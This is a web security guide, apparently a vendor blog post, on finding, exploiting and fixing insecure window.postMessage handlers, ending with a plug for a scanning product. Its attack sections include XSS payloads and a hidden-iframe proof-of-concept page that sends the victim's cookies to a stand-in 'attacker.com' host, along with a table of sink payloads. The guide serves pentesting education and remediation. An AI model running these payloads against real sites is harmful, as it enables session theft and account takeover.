PostMessage Security Testing: Cross-Origin Communication Vulnerabilities
window.postMessage() was designed to solve a real problem: legitimate cross-origin communication between browser windows and iframes. It lets a parent page talk to an embedded iframe from a different domain without violating the Same-Origin Policy. The problem is that insecure implementations introduce DOM-based XSS, authentication bypass, token leakage, and cross-site data exfiltration — all exploitable from a page the attacker controls.
As modern web applications grow more complex — single-page apps, embedded payments, OAuth flows, third-party widgets — postMessage usage has exploded. So have the vulnerabilities. This guide covers how to find and exploit insecure postMessage handlers.
How postMessage Works
The API is simple. A sender calls:
// Sender (parent page or iframe)
targetWindow.postMessage(data, targetOrigin);
// Example: send message to iframe
document.getElementById('iframe').contentWindow.postMessage(
{ action: 'navigate', url: '/dashboard' },
'https://app.example.com'
);
The receiver listens with an event handler:
// Receiver
window.addEventListener('message', function(event) {
// Process event.data
handleMessage(event.data);
});
Two security controls exist in this API:
- targetOrigin on the sender — restricts which origins can receive the message (
'*'sends to any origin) - event.origin on the receiver — tells the handler where the message came from
Both are optional to enforce. That's the problem.
Vulnerability Classes
1. Missing Origin Validation
The most common vulnerability: the message handler processes data without checking event.origin. Any page that can open or embed the target window can send it arbitrary messages.
// VULNERABLE: no origin check
window.addEventListener('message', function(event) {
if (event.data.action === 'redirect') {
window.location.href = event.data.url; // Open redirect!
}
if (event.data.type === 'html') {
document.getElementById('content').innerHTML = event.data.html; // XSS!
}
});
An attacker hosts a page that embeds the target in an iframe and fires messages:
// Attacker's page
var iframe = document.createElement('iframe');
iframe.src = 'https://target.com/page-with-message-handler';
document.body.appendChild(iframe);
iframe.onload = function() {
iframe.contentWindow.postMessage({
action: 'redirect',
url: 'javascript:alert(document.cookie)'
}, '*');
};
2. Weak Origin Validation
Developers often attempt origin validation but implement it incorrectly:
// VULNERABLE: substring match, not exact match
window.addEventListener('message', function(event) {
if (event.origin.indexOf('trusted.com') !== -1) {
// Passes for: https://evil-trusted.com
// Passes for: https://trusted.com.attacker.com
processMessage(event.data);
}
});
// VULNERABLE: startsWith without protocol check
if (event.origin.startsWith('trusted.com')) {
// Passes for: trusted.com.evil.com
}
// VULNERABLE: regex with unescaped dot
if (/trusted.com/.test(event.origin)) {
// Passes for: trustedXcom.attacker.com (dot matches any char)
}
Correct validation looks like this:
// CORRECT: exact match
if (event.origin === 'https://trusted.com') {
processMessage(event.data);
}
3. DOM-Based XSS via postMessage
When message data is written directly into the DOM without sanitization:
// VULNERABLE: innerHTML with unsanitized data
window.addEventListener('message', function(event) {
document.getElementById('notification').innerHTML = event.data.message;
});
// VULNERABLE: document.write
window.addEventListener('message', function(event) {
document.write(event.data.content);
});
Payload to trigger XSS:
targetWindow.postMessage({
message: '<img src=x onerror=fetch("https://attacker.com/?c="+document.cookie)>'
}, '*');
4. Open Redirect via postMessage
Navigation handlers that consume postMessage data are common in SPAs:
// VULNERABLE: postMessage-driven navigation
window.addEventListener('message', function(event) {
if (event.data.type === 'navigate') {
window.location = event.data.destination;
}
});
Payload for redirect to phishing page or javascript: URI execution.
5. OAuth Token and Credential Leakage
OAuth 2.0 with the implicit flow often uses postMessage to relay tokens from the authorization server back to the application. If the sender uses targetOrigin: '*', any window that can reference the authorization popup can intercept the token:
// VULNERABLE: token sent to any origin
window.opener.postMessage({ token: accessToken }, '*');
An attacker who can open a window on the OAuth provider (via a popup from their site) or who can load the callback page in an iframe can steal the token.
6. PostMessage CSRF Analogue
State-changing actions triggered via postMessage without authentication tokens behave like CSRF. If a message handler performs sensitive operations (transfer funds, change email, delete data) without a per-session secret, any page that can send messages can trigger those actions.
// VULNERABLE: state-changing action with no secret
window.addEventListener('message', function(event) {
if (event.data.action === 'deleteAccount') {
fetch('/api/account', { method: 'DELETE' }); // No token check!
}
});
Finding PostMessage Handlers
Static Analysis
Search the application's JavaScript for message listeners:
# Find addEventListener('message', ...) in JS files
grep -r "addEventListener.*message" --include="*.js" .
grep -r "on('message'" --include="*.js" .
grep -r "\.onmessage" --include="*.js" .
# Find postMessage senders
grep -r "postMessage" --include="*.js" . | grep -v "//.*postMessage"
In Burp Suite, use the Search function across the site map with postMessage as the search term, then inspect each match.
Dynamic Discovery with Browser DevTools
// Intercept all incoming postMessages from the browser console
var originalAddEventListener = window.addEventListener;
window.addEventListener = function(type, listener, options) {
if (type === 'message') {
var wrappedListener = function(event) {
console.log('[postMessage intercepted]', {
origin: event.origin,
data: event.data,
source: event.source
});
return listener.apply(this, arguments);
};
return originalAddEventListener.call(this, type, wrappedListener, options);
}
return originalAddEventListener.apply(this, arguments);
};
Inject this into the page via the browser console or a Burp extension before triggering postMessage flows.
Automated Scanning
Burp Suite's DOM Invader includes postMessage testing capabilities. Enable it from the Burp browser and it will intercept and inject into postMessage handlers automatically, flagging those that process data without origin validation.
Testing Methodology
Step 1: Enumerate All Message Handlers
Download all JavaScript from the target. Run static analysis to find every addEventListener('message', ...) and window.onmessage assignment. Document:
- What data properties each handler reads from
event.data - What operations are performed with that data (DOM write, navigation, fetch, state change)
- Whether
event.originis checked, and how
Step 2: Test Origin Validation
For each handler that does check event.origin, attempt to bypass it:
// Test from a page you control:
// Does https://evil.com pass the origin check?
window.open('https://target.com').postMessage(testPayload, '*');
// Test substring bypass: register evil-trusted.com
// Test prefix bypass: register trusted.com.evil.com
// Test regex bypass: register trustedXcom.evil.com
Step 3: Probe Data Handling
Send payloads that test each sink the handler writes to:
| Sink | Test Payload |
|---|---|
innerHTML / document.write |
<img src=x onerror=alert(1)> |
window.location / href |
javascript:alert(1) or https://attacker.com |
eval() / setTimeout(string) |
alert(document.domain) |
fetch() with data as URL |
https://attacker.com/?data=exfil |
| State-changing API calls | Craft valid action object, observe effects |
Step 4: Test Token Leakage in OAuth Flows
Trace OAuth authorization flows that use postMessage to return tokens:
- Open the authorization URL in a controlled environment
- Intercept the postMessage call on the callback page
- Check whether
targetOriginis'*'or a specific origin - If
'*', any window with a reference to the popup can callpopup.postMessageand race for the token
Exploitation: Proof-of-Concept Template
A minimal PoC page that exploits a handler with no origin check:
<!DOCTYPE html>
<html>
<body>
<script>
// Load target in iframe
var iframe = document.createElement('iframe');
iframe.src = 'https://target.com/vulnerable-page';
iframe.style.display = 'none';
document.body.appendChild(iframe);
iframe.onload = function() {
// Fire XSS payload
iframe.contentWindow.postMessage({
type: 'render',
content: '<img src=x onerror="fetch(\'https://attacker.com/?c=\'+btoa(document.cookie))">'
}, '*');
};
</script>
</body>
</html>
If X-Frame-Options or CSP prevents iframe embedding, switch to a popup:
var popup = window.open('https://target.com/vulnerable-page');
setTimeout(function() {
popup.postMessage({ type: 'render', content: '<img src=x onerror=alert(1)>' }, '*');
}, 2000);
Common Real-World Scenarios
Payment Widget Integration
Embedded payment iframes communicate card tokenization results via postMessage. Insecure implementations send card data, tokens, or payment confirmation events to '*' or rely on substring origin matching.
Single Sign-On and Session Sharing
Applications that use postMessage to propagate session tokens between subdomains or between an SSO provider and applications commonly use weak origin validation, trusting anything that contains the root domain name.
Chat and Collaboration Widgets
Third-party chat widgets (Intercom, Drift, Zendesk) embedded in iframes use postMessage to pass user identity, email addresses, and custom attributes from the parent page. Weak validation in the widget frame or the parent allows identity spoofing.
Remediation
Always validate event.origin with an exact match:
window.addEventListener('message', function(event) {
// Exact string comparison, never substring/regex
if (event.origin !== 'https://trusted.example.com') {
return;
}
processMessage(event.data);
});
Never write message data directly to DOM sinks:
// BAD
element.innerHTML = event.data.html;
// GOOD: use textContent for text, or a sanitizer like DOMPurify
element.textContent = event.data.text;
// Or if HTML is genuinely needed:
element.innerHTML = DOMPurify.sanitize(event.data.html);
Specify targetOrigin explicitly on senders — never use '*' for sensitive data:
// BAD
window.opener.postMessage({ token: accessToken }, '*');
// GOOD
window.opener.postMessage({ token: accessToken }, 'https://app.example.com');
Add a shared secret or nonce for state-changing operations: Include a per-session CSRF token in the message payload and validate it server-side or in the handler before executing sensitive actions.
Ironimo scans for DOM-based vulnerabilities including insecure postMessage handlers, innerHTML injection sinks, and open redirect patterns using the same dynamic analysis techniques professional pentesters apply manually. Catch what automated scanners miss.